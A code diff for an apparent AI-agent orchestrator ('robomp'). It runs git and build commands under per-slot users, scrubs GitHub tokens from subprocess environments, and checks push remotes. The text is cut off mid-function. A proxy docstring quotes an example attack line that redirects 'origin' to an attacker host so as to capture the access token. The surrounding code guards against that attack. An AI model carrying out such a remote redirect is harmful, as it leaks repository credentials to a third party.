diff --git a/Dockerfile b/Dockerfile index b3943505a..a689460be 100644 --- a/Dockerfile +++ b/Dockerfile @@ -50,13 +50,14 @@ ENV PYTHONDONTWRITEBYTECODE=1 \ PIP_DISABLE_PIP_VERSION_CHECK=1 \ BUN_INSTALL=/opt/bun \ PI_ROOT=/work/pi \ - # Persistent build caches under the /data volume so cargo target, - # rustup toolchains, and bun's global package cache are shared across - # every per-issue worktree AND survive container restarts. + # Persistent build caches under the /data volume so cargo target and + # rustup toolchains are shared across every per-issue worktree and + # survive container restarts. Bun's install cache is deliberately + # workspace-private at runtime; bun chmod/chown behavior makes a shared + # cross-slot cache unreliable. CARGO_HOME=/data/cache/cargo \ CARGO_TARGET_DIR=/data/cache/cargo-target \ RUSTUP_HOME=/data/cache/rustup \ - BUN_INSTALL_CACHE_DIR=/data/cache/bun-cache \ PATH=/opt/bun/bin:/usr/local/cargo/bin:/usr/local/bin:/usr/bin:/bin RUN apt-get update \ diff --git a/entrypoint.sh b/entrypoint.sh index 3df08277b..468ae2d06 100755 --- a/entrypoint.sh +++ b/entrypoint.sh @@ -23,6 +23,15 @@ elif [[ "${1:-}" == *"robomp.proxy"* ]]; then fi /usr/sbin/groupadd -f -g 2000 omp +max_slots="${ROBOMP_MAX_CONCURRENCY:-8}" +for i in $(seq 1 "$max_slots"); do + user="omp-$i" + slot_group="omp-$i" + slot_id=$((2000 + i)) + /usr/sbin/groupadd -f -g "$slot_id" "$slot_group" + id -u "$user" >/dev/null 2>&1 || /usr/sbin/useradd -u "$slot_id" -g "$slot_group" -G omp -M -N -s /usr/sbin/nologin "$user" + /usr/sbin/usermod -g "$slot_group" -a -G omp "$user" +done if [ "$is_proxy_role" -eq 1 ]; then exec "$@" @@ -34,23 +43,17 @@ if [ ! -d "$PI_ROOT/packages/coding-agent" ]; then exit 1 fi -max_slots="${ROBOMP_MAX_CONCURRENCY:-8}" -for i in $(seq 1 "$max_slots"); do - user="omp-$i" - slot_group="omp-$i" - slot_id=$((2000 + i)) - /usr/sbin/groupadd -f -g "$slot_id" "$slot_group" - id -u "$user" >/dev/null 2>&1 || /usr/sbin/useradd -u "$slot_id" -g "$slot_group" -G omp -M -N -s /usr/sbin/nologin "$user" - /usr/sbin/usermod -g "$slot_group" -a -G omp "$user" -done - mkdir -p /data/workspaces /data/workspaces/_pool /data/logs -# Persistent build caches under the /data volume. CARGO_HOME, CARGO_TARGET_DIR, -# RUSTUP_HOME, and BUN_INSTALL_CACHE_DIR are pinned to these paths in the image -# ENV so every per-issue worktree shares one cargo target and one bun cache. -mkdir -p /data/cache/cargo /data/cache/cargo-target /data/cache/rustup /data/cache/bun-cache +# Persistent build caches under the /data volume. CARGO_HOME, +# CARGO_TARGET_DIR, and RUSTUP_HOME are pinned to these paths in the image ENV +# so every per-issue worktree shares one cargo target/toolchain. Bun install +# cache is workspace-private; a shared cache is unsafe across slot users +# because bun may chmod/chown its cache root to the first writer. +mkdir -p /data/cache/cargo /data/cache/cargo-target /data/cache/rustup chown -R root:omp /data/cache /data/workspaces/_pool -chmod -R u=rwX,g=rwsX,o= /data/cache /data/workspaces/_pool +find /data/cache /data/workspaces/_pool -type d -exec chmod 2770 {} + +find /data/cache /data/workspaces/_pool -type f -perm /111 -exec chmod 0770 {} + +find /data/cache /data/workspaces/_pool -type f ! -perm /111 -exec chmod 0660 {} + chmod 0700 /data/logs diff --git a/src/robomp/git_ops.py b/src/robomp/git_ops.py index fb740e44a..1526f59da 100644 --- a/src/robomp/git_ops.py +++ b/src/robomp/git_ops.py @@ -16,11 +16,14 @@ from __future__ import annotations import base64 import logging import os +import platform import re import subprocess from collections.abc import Mapping from dataclasses import dataclass from pathlib import Path +from typing import Any +from urllib.parse import urlparse log = logging.getLogger(__name__) @@ -34,6 +37,43 @@ _BAD_OBJECT_REF_RE = re.compile( ) _FETCH_PRUNE_REPAIR_ATTEMPTS = 8 +_SHARED_OMP_GID = 2000 +_AGENT_HOME = Path("/srv/agent-home") + + +def _slot_permissions_active(slot_uid: int | None) -> bool: + return slot_uid is not None and platform.system() == "Linux" and os.geteuid() == 0 + + +def _slot_subprocess_kwargs(slot_uid: int | None) -> dict[str, Any]: + if not _slot_permissions_active(slot_uid): + return {} + assert slot_uid is not None + return {"user": slot_uid, "group": slot_uid, "extra_groups": [_SHARED_OMP_GID], "umask": 0o002} + + +def _append_safe_directory(env: dict[str, str], repo_dir: Path) -> None: + count = int(env.get("GIT_CONFIG_COUNT", "0")) + env[f"GIT_CONFIG_KEY_{count}"] = "safe.directory" + env[f"GIT_CONFIG_VALUE_{count}"] = str(repo_dir) + env["GIT_CONFIG_COUNT"] = str(count + 1) + + +def _local_remote_safe_directory(remote_url: str, *, cwd: Path) -> Path | None: + """Return a local filesystem remote path that git may need whitelisted.""" + raw = remote_url.strip() + if not raw: + return None + if raw.startswith("file://"): + parsed = urlparse(raw) + if parsed.netloc not in ("", "localhost"): + return None + return Path(parsed.path) + if "://" in raw or re.match(r"^[^/\\s]+:", raw): + return None + path = Path(raw) + return path if path.is_absolute() else (cwd / path).resolve() + def redact_credentials(text: str | None) -> str: """Strip `user:password@` from any embedded URL in `text`.""" @@ -86,6 +126,11 @@ def _run_git( cwd: Path | None, token: str | None, extra_env: Mapping[str, str] | None = None, + safe_directory: Path | None = None, + user: int | None = None, + group: int | None = None, + extra_groups: list[int] | tuple[int, ...] | None = None, + umask: int | None = None, timeout: float | None = None, ) -> subprocess.CompletedProcess[str]: """Run `git ` with optional PAT injection via `--config-env`. @@ -101,8 +146,13 @@ def _run_git( `_DEFAULT_GIT_TIMEOUT_SECONDS`. """ env: dict[str, str] = {**os.environ, "GIT_TERMINAL_PROMPT": "0"} + if user is not None and _AGENT_HOME.is_dir(): + env["HOME"] = str(_AGENT_HOME) if extra_env: env.update(extra_env) + if safe_directory is not None: + _append_safe_directory(env, safe_directory) + cmd: list[str] = ["git"] if token: env[AUTH_ENV_VAR] = _basic_auth_header(token) @@ -110,6 +160,15 @@ def _run_git( cmd.extend(args) log.debug("git", extra={"cmd": _redacted_cmd(cmd), "cwd": str(cwd) if cwd else None}) effective_timeout = _DEFAULT_GIT_TIMEOUT_SECONDS if timeout is None else timeout + subprocess_kwargs: dict[str, Any] = {} + if user is not None: + subprocess_kwargs["user"] = user + if group is not None: + subprocess_kwargs["group"] = group + if extra_groups is not None: + subprocess_kwargs["extra_groups"] = extra_groups + if umask is not None: + subprocess_kwargs["umask"] = umask try: proc = subprocess.run( cmd, @@ -119,6 +178,7 @@ def _run_git( capture_output=True, text=True, timeout=effective_timeout, + **subprocess_kwargs, ) except subprocess.TimeoutExpired as exc: # `subprocess.run` already kills the direct child when the timeout @@ -327,6 +387,7 @@ def clone( clone_url: str, default_branch: str, token: str | None, + safe_directory: Path | None = None, ) -> None: """Fresh `git clone --filter=blob:none` into `target`.""" target.parent.mkdir(parents=True, exist_ok=True) @@ -339,10 +400,10 @@ def clone( clone_url, str(target), ] - _check(_run_git(args, cwd=None, token=token), ["git", *args]) + _check(_run_git(args, cwd=None, token=token, safe_directory=safe_directory), ["git", *args]) -def fetch_prune(repo_dir: Path, *, token: str | None) -> None: +def fetch_prune(repo_dir: Path, *, token: str | None, safe_directory: Path | None = None) -> None: """`git fetch --prune origin` on the shared pool clone. Pool clones are long-lived. If a transient git object alternate leaks into @@ -356,7 +417,7 @@ def fetch_prune(repo_dir: Path, *, token: str | None) -> None: _prune_missing_alternates(repo_dir) last_proc: subprocess.CompletedProcess[str] | None = None for _ in range(_FETCH_PRUNE_REPAIR_ATTEMPTS): - proc = _run_git(args, cwd=repo_dir, token=token) + proc = _run_git(args, cwd=repo_dir, token=token, safe_directory=safe_directory) if proc.returncode == 0: return last_proc = proc @@ -367,10 +428,10 @@ def fetch_prune(repo_dir: Path, *, token: str | None) -> None: _check(last_proc, ["git", *args]) -def fetch_ref(repo_dir: Path, ref: str, *, token: str | None) -> None: +def fetch_ref(repo_dir: Path, ref: str, *, token: str | None, safe_directory: Path | None = None) -> None: """`git fetch origin ` (best-effort: caller decides to swallow).""" args = ["fetch", "origin", ref] - proc = _run_git(args, cwd=repo_dir, token=token) + proc = _run_git(args, cwd=repo_dir, token=token, safe_directory=safe_directory) if proc.returncode != 0: log.debug( "fetch_ref non-fatal failure", @@ -392,22 +453,29 @@ class HeadDriftError(GitCommandError): """ -def rev_parse_head(repo_dir: Path) -> str: +def rev_parse_head( + repo_dir: Path, + *, + safe_directory: Path | None = None, + user: int | None = None, + group: int | None = None, + extra_groups: list[int] | tuple[int, ...] | None = None, + umask: int | None = None, +) -> str: """Return the SHA of HEAD or raise GitCommandError.""" - proc = subprocess.run( - ["git", "rev-parse", "HEAD"], - cwd=str(repo_dir), - check=False, - capture_output=True, - text=True, + args = ["rev-parse", "HEAD"] + proc = _run_git( + args, + cwd=repo_dir, + token=None, + safe_directory=safe_directory, + user=user, + group=group, + extra_groups=extra_groups, + umask=umask, ) if proc.returncode != 0: - raise GitCommandError( - ["git", "rev-parse", "HEAD"], - proc.returncode, - proc.stdout, - proc.stderr, - ) + raise GitCommandError(["git", *args], proc.returncode, proc.stdout, proc.stderr) return proc.stdout.strip() @@ -417,6 +485,8 @@ def push( branch: str, expected_head: str | None, token: str | None, + slot_uid: int | None = None, + safe_directory: Path | None = None, ) -> PushResult: """`git push --force-with-lease=: --set-upstream origin ` from `repo_dir`. @@ -440,7 +510,12 @@ def push( the push is aborted with `HeadDriftError`. This is a separate concern from `--force-with-lease`, which compares against the remote ref. """ - head = rev_parse_head(repo_dir) + slot_kwargs = _slot_subprocess_kwargs(slot_uid) + git_safe_directory = safe_directory + if git_safe_directory is None and slot_kwargs: + git_safe_directory = repo_dir + + head = rev_parse_head(repo_dir, safe_directory=git_safe_directory, **slot_kwargs) if expected_head and head != expected_head: raise HeadDriftError( ["git", "push"], @@ -455,11 +530,27 @@ def push( ["rev-parse", "--verify", "--quiet", f"refs/remotes/origin/{branch}"], cwd=repo_dir, token=None, + safe_directory=git_safe_directory, + **slot_kwargs, ) expected_remote = probe.stdout.strip() if probe.returncode == 0 else "" + push_extra_env: dict[str, str] | None = None + origin = _run_git( + ["remote", "get-url", "origin"], cwd=repo_dir, token=None, safe_directory=git_safe_directory, **slot_kwargs + ) + if origin.returncode == 0: + local_remote = _local_remote_safe_directory(origin.stdout, cwd=repo_dir) + if local_remote is not None: + push_extra_env = {} + _append_safe_directory(push_extra_env, local_remote) lease = f"--force-with-lease=refs/heads/{branch}:{expected_remote}" args = ["push", lease, "--set-upstream", "origin", branch] - _check(_run_git(args, cwd=repo_dir, token=token), ["git", *args]) + _check( + _run_git( + args, cwd=repo_dir, token=token, extra_env=push_extra_env, safe_directory=git_safe_directory, **slot_kwargs + ), + ["git", *args], + ) return PushResult(head=head, branch=branch) diff --git a/src/robomp/host_tools.py b/src/robomp/host_tools.py index a2e85990f..70abbda22 100644 --- a/src/robomp/host_tools.py +++ b/src/robomp/host_tools.py @@ -9,6 +9,7 @@ from __future__ import annotations import asyncio import json import logging +import os import subprocess import time from collections.abc import Callable, Mapping @@ -22,14 +23,32 @@ from omp_rpc import HostTool, HostToolContext, RpcCommandError, host_tool from robomp import persona from robomp.config import Settings from robomp.db import Database, issue_key -from robomp.git_ops import GitCommandError, HeadDriftError, rev_parse_head +from robomp.git_ops import GitCommandError, HeadDriftError from robomp.github_backend import GitHubBackend from robomp.github_client import GitHubError, IssueInfo, RepoInfo -from robomp.sandbox import GitTransport, Workspace, rename_workspace_branch, validate_branch_slug, workspace_key +from robomp.sandbox import ( + GitTransport, + Workspace, + _prepare_slot_runtime_env, + _safe_directory_env, + _share_git_metadata_with_slots, + _slot_permissions_active, + _slot_subprocess_kwargs, + rename_workspace_branch, + validate_branch_slug, + workspace_key, +) log = logging.getLogger(__name__) _PRE_PR_FIX_COMMAND = ("bun", "run", "fix") _PRE_PR_CHECK_COMMAND = ("bun", "check") +_REPO_COMMAND_SCRUBBED_ENV_KEYS: tuple[str, ...] = ( + "GITHUB_TOKEN", + "GITHUB_WEBHOOK_SECRET", + "ROBOMP_REPLAY_TOKEN", + "ROBOMP_GH_PROXY_HMAC_KEY", +) +_AGENT_HOME = Path("/srv/agent-home") _PRE_PR_FIX_TIMEOUT_SECONDS = 600.0 _PRE_PR_CHECK_TIMEOUT_SECONDS = 600.0 _PRE_PR_CHECK_MAX_OUTPUT = 12_000 @@ -127,6 +146,55 @@ def _raise_command(message: str) -> NoReturn: raise RpcCommandError(message, error={"message": message}) +def _git_identity_env(author_name: str, author_email: str) -> dict[str, str]: + """Environment forcing agent git commits to use the configured bot identity.""" + return { + "GIT_AUTHOR_NAME": author_name, + "GIT_AUTHOR_EMAIL": author_email, + "GIT_COMMITTER_NAME": author_name, + "GIT_COMMITTER_EMAIL": author_email, + } + + +def _repo_command_env(bindings: ToolBindings) -> dict[str, str]: + """Environment for repo-owned commands (`bun`, formatter, local git). + + These commands execute code from the checked-out repository, so they must + not inherit GitHub credentials from the orchestrator. They also need the + exact same HOME/XDG/TMP/Bun cache paths as the agent process; otherwise + host-side pre-publish gates validate a different machine than the agent saw. + """ + env = os.environ.copy() + for key in _REPO_COMMAND_SCRUBBED_ENV_KEYS: + env[key] = "" + if _AGENT_HOME.is_dir(): + env["HOME"] = str(_AGENT_HOME) + env.update(_prepare_slot_runtime_env(bindings.workspace, bindings.slot_uid)) + env.update(_safe_directory_env(bindings.workspace.repo_dir)) + env.update(_git_identity_env(bindings.author_name, bindings.author_email)) + env["GIT_TERMINAL_PROMPT"] = "0" + return env + + +def _run_repo_command( + bindings: ToolBindings, + cmd: list[str] | tuple[str, ...], + *, + timeout: float | None = None, +) -> subprocess.CompletedProcess[str]: + """Run a repo-local command with agent-equivalent permissions and env.""" + return subprocess.run( + list(cmd), + cwd=str(bindings.workspace.repo_dir), + check=False, + capture_output=True, + text=True, + timeout=timeout, + env=_repo_command_env(bindings), + **_slot_subprocess_kwargs(bindings.slot_uid), + ) + + def _has_bun_script(repo_dir: Path, name: str) -> bool: """Return True iff `package.json` defines a `scripts.` entry. @@ -198,19 +266,12 @@ def _run_pre_publish_bun_fix( """ if not _has_bun_script(bindings.workspace.repo_dir, "fix"): return - repo_dir = str(bindings.workspace.repo_dir) # Dirty-tree gate BEFORE the formatter so any pre-existing uncommitted # edit isn't silently swept into the `style: bun run fix` commit by the # `git add -A` below. The agent owns the worktree end-to-end; any diff # not already in a commit is a workflow bug it must resolve before we # mutate the tree further. - pre_status = subprocess.run( - ["git", "status", "--porcelain", "--untracked-files=normal"], - cwd=repo_dir, - check=False, - capture_output=True, - text=True, - ) + pre_status = _run_repo_command(bindings, ["git", "status", "--porcelain", "--untracked-files=normal"]) if pre_status.stdout.strip(): dirty = "\n ".join(pre_status.stdout.strip().splitlines()) msg = ( @@ -231,14 +292,7 @@ def _run_pre_publish_bun_fix( ) return try: - proc = subprocess.run( - _PRE_PR_FIX_COMMAND, - cwd=repo_dir, - check=False, - capture_output=True, - text=True, - timeout=_PRE_PR_FIX_TIMEOUT_SECONDS, - ) + proc = _run_repo_command(bindings, _PRE_PR_FIX_COMMAND, timeout=_PRE_PR_FIX_TIMEOUT_SECONDS) except FileNotFoundError: msg = f"refusing to {stage}: `bun run fix` is required before {stage}, but `bun` is not on PATH." _audit(bindings, tool_name, args, error=msg) @@ -264,29 +318,18 @@ def _run_pre_publish_bun_fix( _audit(bindings, tool_name, args, error=msg) _raise_command(msg) - status = subprocess.run( - ["git", "status", "--porcelain", "--untracked-files=normal"], - cwd=repo_dir, - check=False, - capture_output=True, - text=True, - ) + status = _run_repo_command(bindings, ["git", "status", "--porcelain", "--untracked-files=normal"]) if not status.stdout.strip(): return - add = subprocess.run( - ["git", "add", "-A"], - cwd=repo_dir, - check=False, - capture_output=True, - text=True, - ) + add = _run_repo_command(bindings, ["git", "add", "-A"]) if add.returncode != 0: err = (add.stderr or add.stdout).strip() msg = f"refusing to {stage}: `git add -A` failed after `bun run fix`: {err}" _audit(bindings, tool_name, args, error=msg) _raise_command(msg) - commit = subprocess.run( + commit = _run_repo_command( + bindings, [ "git", "-c", @@ -297,10 +340,6 @@ def _run_pre_publish_bun_fix( "-m", _PRE_PR_FIX_COMMIT_SUBJECT, ], - cwd=repo_dir, - check=False, - capture_output=True, - text=True, ) if commit.returncode != 0: err = (commit.stderr or commit.stdout).strip() @@ -332,14 +371,7 @@ def _run_pre_publish_bun_check( if not _has_bun_script(bindings.workspace.repo_dir, "check"): return try: - proc = subprocess.run( - _PRE_PR_CHECK_COMMAND, - cwd=str(bindings.workspace.repo_dir), - check=False, - capture_output=True, - text=True, - timeout=_PRE_PR_CHECK_TIMEOUT_SECONDS, - ) + proc = _run_repo_command(bindings, _PRE_PR_CHECK_COMMAND, timeout=_PRE_PR_CHECK_TIMEOUT_SECONDS) except FileNotFoundError: msg = f"refusing to {stage}: `bun check` is required before {stage}, but `bun` is not on PATH." _audit(bindings, tool_name, args, error=msg) @@ -486,40 +518,24 @@ def _guarded_push_branch(bindings: ToolBindings, args: Mapping[str, Any], tool_n _raise_command( f"refusing to push: branch={branch!r} does not match workspace branch {bindings.workspace.branch!r}." ) - repo_dir = str(bindings.workspace.repo_dir) # Re-pin the configured identity right before push (cheap; idempotent). - subprocess.run( - ["git", "config", "user.email", bindings.author_email], - cwd=repo_dir, - check=False, - capture_output=True, - text=True, - ) - subprocess.run( - ["git", "config", "user.name", bindings.author_name], - cwd=repo_dir, - check=False, - capture_output=True, - text=True, - ) + _run_repo_command(bindings, ["git", "config", "user.email", bindings.author_email]) + _run_repo_command(bindings, ["git", "config", "user.name", bindings.author_name]) repo_dir_path = bindings.workspace.repo_dir - try: - head_sha = rev_parse_head(repo_dir_path) - except GitCommandError as exc: - err = (exc.stderr or exc.stdout).strip() or f"exit {exc.returncode}" + head_proc = _run_repo_command(bindings, ["git", "rev-parse", "HEAD"]) + if head_proc.returncode != 0: + err = (head_proc.stderr or head_proc.stdout).strip() or f"exit {head_proc.returncode}" _audit(bindings, tool_name, args, error=err) _raise_command(f"git rev-parse failed: {err}") + head_sha = head_proc.stdout.strip() # Identity gate: every commit between the base branch and HEAD must # carry the configured author. Refuse to push otherwise so the agent # fixes it (`git commit --amend --reset-author --no-edit`). base = bindings.repo.default_branch - identities = subprocess.run( + identities = _run_repo_command( + bindings, ["git", "log", "--format=%H%x09%ae%x09%an", f"origin/{base}..HEAD"], - cwd=repo_dir, - capture_output=True, - text=True, - check=False, ) if identities.returncode != 0: err = (identities.stderr or identities.stdout).strip() @@ -551,13 +567,7 @@ def _guarded_push_branch(bindings: ToolBindings, args: Mapping[str, Any], tool_n # forgot to `git add && git commit`, files dropped by package managers, etc.) # would silently land in the PR review delta but not in the commit history. # Reject so the agent either commits or stashes them. - status = subprocess.run( - ["git", "status", "--porcelain", "--untracked-files=normal"], - cwd=repo_dir, - capture_output=True, - text=True, - check=False, - ) + status = _run_repo_command(bindings, ["git", "status", "--porcelain", "--untracked-files=normal"]) if status.stdout.strip(): dirty = "\n ".join(status.stdout.strip().splitlines()) msg = ( @@ -576,6 +586,7 @@ def _guarded_push_branch(bindings: ToolBindings, args: Mapping[str, Any], tool_n repo_dir=repo_dir_path, branch=branch, expected_head=head_sha, + slot_uid=bindings.slot_uid, ) except HeadDriftError: msg = ( @@ -592,6 +603,7 @@ def _guarded_push_branch(bindings: ToolBindings, args: Mapping[str, Any], tool_n msg = f"gh-proxy rejected push: {exc.status} {exc.message}" _audit(bindings, tool_name, args, error=msg) _raise_command(msg) + _share_git_metadata_with_slots(repo_dir_path, bindings.slot_uid) _audit(bindings, tool_name, args, result={"head": result.head, "branch": result.branch}) return result.head @@ -803,6 +815,12 @@ def _build_repro_record(bindings: ToolBindings) -> HostTool[Any, Any]: f"## Output\n\n```\n{output}\n```\n", encoding="utf-8", ) + # Single-ownership invariant: workspace files belong to the active + # slot. The orchestrator (root) wrote this file directly, so hand it + # over before the audit row lands so the agent can edit/delete it. + if _slot_permissions_active(bindings.slot_uid): + assert bindings.slot_uid is not None + os.chown(target, bindings.slot_uid, bindings.slot_uid) _audit(bindings, "repro_record", args, result={"path": str(target.relative_to(bindings.workspace.root))}) return "recorded" diff --git a/src/robomp/proxy/server.py b/src/robomp/proxy/server.py index 67a769b14..1fe210c63 100644 --- a/src/robomp/proxy/server.py +++ b/src/robomp/proxy/server.py @@ -13,6 +13,7 @@ from __future__ import annotations import asyncio import logging +import os import subprocess from collections.abc import AsyncIterator from contextlib import asynccontextmanager @@ -43,6 +44,7 @@ from robomp.git_ops import ( ) from robomp.github_client import GitHubClient, GitHubError from robomp.proxy_hmac import HEADER_SIGNATURE, HEADER_TIMESTAMP, verify +from robomp.sandbox import _safe_directory_env, _slot_subprocess_kwargs from robomp.sandbox import workspace_key as compute_workspace_key log = logging.getLogger(__name__) @@ -102,6 +104,14 @@ def _require_int(value: Any, field: str) -> int: return value +def _optional_slot_uid(value: Any) -> int | None: + if value is None: + return None + if not isinstance(value, int) or isinstance(value, bool) or not (0 < value < 65536): + raise HTTPException(400, "missing/invalid 'slot_uid'") + return value + + def _optional_str_list(value: Any, field: str) -> list[str] | None: if value is None: return None @@ -140,8 +150,10 @@ def _resolve_hmac_key(cfg: Settings) -> bytes: _ORIGIN_READ_TIMEOUT_SECONDS = 5.0 -def _read_origin_url(repo_dir: Path) -> str: +def _read_origin_url(repo_dir: Path, slot_uid: int | None = None) -> str: """Return the worktree's `origin` remote URL, or raise HTTPException.""" + env = {**os.environ, "GIT_TERMINAL_PROMPT": "0"} + env.update(_safe_directory_env(repo_dir)) try: proc = subprocess.run( ["git", "-C", str(repo_dir), "remote", "get-url", "origin"], @@ -149,6 +161,8 @@ def _read_origin_url(repo_dir: Path) -> str: text=True, check=False, timeout=_ORIGIN_READ_TIMEOUT_SECONDS, + env=env, + **_slot_subprocess_kwargs(slot_uid), ) except subprocess.TimeoutExpired as exc: raise HTTPException(504, "timeout reading origin url") from exc @@ -161,7 +175,7 @@ def _read_origin_url(repo_dir: Path) -> str: return proc.stdout.strip() -def _assert_origin_safe_for_repo(repo_dir: Path, expected_repo: str) -> None: +def _assert_origin_safe_for_repo(repo_dir: Path, expected_repo: str, slot_uid: int | None = None) -> None: """Refuse the push if the worktree's `origin` would leak the PAT. The PAT is injected via `--config-env http.extraHeader=…` (see @@ -178,7 +192,7 @@ def _assert_origin_safe_for_repo(repo_dir: Path, expected_repo: str) -> None: `git remote set-url origin https://evil.example/x.git` and the proxy would happily push (with the PAT) to that remote. """ - url = _read_origin_url(repo_dir) + url = _read_origin_url(repo_dir, slot_uid=slot_uid) parsed = urlparse(url) scheme = (parsed.scheme or "").lower() if scheme not in ("http", "https"): @@ -561,6 +575,7 @@ def create_proxy_app(settings: Settings) -> FastAPI: workspace_key = _require_str(data.get("workspace_key"), "workspace_key") branch = _require_str(data.get("branch"), "branch") expected_head = _require_str(data.get("expected_head"), "expected_head") + slot_uid = _optional_slot_uid(data.get("slot_uid")) # Sanity-check workspace_key matches the repo claim. expected_prefix = repo.replace("/", "__") + "__" if not workspace_key.startswith(expected_prefix): @@ -570,7 +585,7 @@ def create_proxy_app(settings: Settings) -> FastAPI: raise HTTPException(404, f"workspace not found: {workspace_key}") # Block attacker-controlled `origin` from being a PAT exfil channel. # MUST run BEFORE any subprocess that would inject the token header. - await asyncio.to_thread(_assert_origin_safe_for_repo, repo_dir, repo) + await asyncio.to_thread(_assert_origin_safe_for_repo, repo_dir, repo, slot_uid) try: result = await _run_git_op( git_push, @@ -578,6 +593,7 @@ def create_proxy_app(settings: Settings) -> FastAPI: branch=branch, expected_head=expected_head, token=_resolve_token(settings), + slot_uid=slot_uid, ) except HeadDriftError as exc: return _git_error_response(exc, head_drift=True) diff --git a/src/robomp/proxy_client.py b/src/robomp/proxy_client.py index fd7627ad0..5d8e8429b 100644 --- a/src/robomp/proxy_client.py +++ b/src/robomp/proxy_client.py @@ -368,17 +368,18 @@ class ProxyGitTransport: repo_dir: Path, branch: str, expected_head: str, + slot_uid: int | None = None, ) -> PushResult: del repo_dir - data = self._post( - "/gh/v1/git/push", - { - "repo": repo, - "workspace_key": workspace_key, - "branch": branch, - "expected_head": expected_head, - }, - ) + body: dict[str, Any] = { + "repo": repo, + "workspace_key": workspace_key, + "branch": branch, + "expected_head": expected_head, + } + if slot_uid is not None: + body["slot_uid"] = slot_uid + data = self._post("/gh/v1/git/push", body) return PushResult(head=str(data.get("head") or expected_head), branch=str(data.get("branch") or branch)) diff --git a/src/robomp/sandbox.py b/src/robomp/sandbox.py index 5b136c734..5a0b41986 100644 --- a/src/robomp/sandbox.py +++ b/src/robomp/sandbox.py @@ -8,6 +8,32 @@ in `robomp.proxy_client` forwards the same set of operations over HMAC RPC. Per-issue worktree add/remove stays local — those operations only touch the shared on-disk pool clone, no remote authentication required. + +Permission model +---------------- +There are four ownership zones on disk; do not let them blur: + +1. **Workspace tree** (`/data/workspaces//`, including `repo/`, + `.omp-session/`, `context/`, `artifacts/`, `.omp-tmp/`, `.omp-xdg/`): + single-owner. Owned by the active slot UID/GID (`omp-N`) with mode + `u=rwX,g=rwX,o=` (effectively `0770` dirs / `0660` files; the group is + the slot's own private gid so group bits are functionally identical to + owner-only). The orchestrator (root) reads/writes via uid-0 bypass when + it must, and drops to the slot for any subprocess that touches paths the + agent will revisit. `ensure_workspace` + `_chown_workspace` are the + single point of truth for this zone — no other helper sets ownership + inside `ws_root`. +2. **Clone pool** (`/data/workspaces/_pool/__/`): genuinely + multi-slot. Owned by `root:omp` (gid 2000) with setgid `02770`; cross-slot + writes are bridged by `_share_git_metadata_with_slots`. +3. **Language tool caches** (`/data/cache/{cargo,cargo-target,rustup,bun-cache}`): + multi-slot. Owned by `root:omp` with setgid `02770`; provisioned by + `entrypoint.sh`. +4. **Agent HOME template** (`/srv/agent-home`): read-only, `root:root` + `0755/0644`. + +Bun's install cache stays workspace-private (zone 1) on purpose — bun +chmod/utimes its own cache root, which breaks any shared-cache scheme. """ from __future__ import annotations @@ -24,7 +50,7 @@ import stat import subprocess from dataclasses import dataclass from pathlib import Path -from typing import Protocol +from typing import Any, Protocol from robomp.git_ops import ( GitCommandError, @@ -86,6 +112,22 @@ def workspace_key(repo: str, number: int) -> str: return f"{repo.replace('/', '__')}__{number}" +def _safe_directory_env(repo_dir: Path) -> dict[str, str]: + """Return a Git config env overlay whitelisting ``repo_dir`` as safe.""" + return { + "GIT_CONFIG_COUNT": "1", + "GIT_CONFIG_KEY_0": "safe.directory", + "GIT_CONFIG_VALUE_0": str(repo_dir), + } + + +def _git_env_for_repo(repo_dir: Path) -> dict[str, str]: + env = os.environ.copy() + env.update(_safe_directory_env(repo_dir)) + env["GIT_TERMINAL_PROMPT"] = "0" + return env + + def make_branch(*, issue_number: int, title: str, seed: str | None = None) -> str: return f"farm/{_short_hex(seed or f'{issue_number}-{title}')}/{_slug(title or f'issue-{issue_number}')}" @@ -150,6 +192,7 @@ def rename_workspace_branch( proc = _safe_run( ["git", "branch", "-m", workspace.branch, new_branch], cwd=workspace.repo_dir, + **_slot_subprocess_kwargs(slot_uid), ) if proc.returncode != 0: raise GitCommandError( @@ -194,6 +237,7 @@ class GitTransport(Protocol): repo_dir: Path, branch: str, expected_head: str, + slot_uid: int | None = None, ) -> PushResult: """Push `branch` to origin. MUST refuse if HEAD has drifted from `expected_head`.""" ... @@ -232,15 +276,16 @@ class LocalGitTransport: repo_dir: Path, branch: str, expected_head: str, + slot_uid: int | None = None, ) -> PushResult: del repo, workspace_key - return git_push(repo_dir, branch=branch, expected_head=expected_head, token=self._token) + return git_push(repo_dir, branch=branch, expected_head=expected_head, token=self._token, slot_uid=slot_uid) # ---------- low-level helpers retained for callers expecting old shape ---------- -def _safe_run(cmd: list[str], *, cwd: Path | None = None) -> subprocess.CompletedProcess[str]: +def _safe_run(cmd: list[str], *, cwd: Path | None = None, **kwargs: Any) -> subprocess.CompletedProcess[str]: """Run without raising; caller decides on returncode. Credentials are redacted from any captured output.""" proc = subprocess.run( cmd, @@ -248,6 +293,7 @@ def _safe_run(cmd: list[str], *, cwd: Path | None = None) -> subprocess.Complete check=False, capture_output=True, text=True, + **kwargs, ) if proc.stdout: proc.stdout = redact_credentials(proc.stdout) @@ -338,7 +384,18 @@ def _reap_slot(slot_uid: int | None) -> None: def _prepare_slot_tmpdir(workspace: Workspace, slot_uid: int | None) -> Path: - """Create the per-workspace temp directory used by the agent subprocess.""" + """Return the per-workspace tmpdir path, idempotently provisioning it. + + Ownership/mode is set by ``_chown_workspace`` as part of the workspace's + single-ownership invariant; this helper only: + + - replaces any non-directory at ``.omp-tmp`` (symlink-protection: a user + who plants a symlink there could redirect later writes outside the + workspace regardless of who owns the destination), and + - ``mkdir(mode=0o700, exist_ok=True)`` as a safety net for callers that + run before ``ensure_workspace`` (e.g. unit tests with ``slot_uid=None``). + """ + del slot_uid # ownership is _chown_workspace's job; kept for call-site parity tmpdir = workspace.root / ".omp-tmp" try: st = tmpdir.lstat() @@ -348,13 +405,89 @@ def _prepare_slot_tmpdir(workspace: Workspace, slot_uid: int | None) -> Path: if not stat.S_ISDIR(st.st_mode): tmpdir.unlink() tmpdir.mkdir(mode=0o700, parents=True, exist_ok=True) - if _slot_permissions_active(slot_uid): - assert slot_uid is not None - os.chown(tmpdir, slot_uid, slot_uid) - tmpdir.chmod(0o700) return tmpdir +def _slot_subprocess_kwargs(slot_uid: int | None) -> dict[str, Any]: + """Return subprocess identity kwargs for commands that should run as a slot. + + `preexec_fn` is intentionally avoided: the worker runs tasks in threads, + and `subprocess` warns that `preexec_fn` is unsafe in multithreaded + parents. Python's native `user` / `group` / `extra_groups` parameters do + the setuid/setgid work in the child safely. + """ + if not _slot_permissions_active(slot_uid): + return {} + assert slot_uid is not None 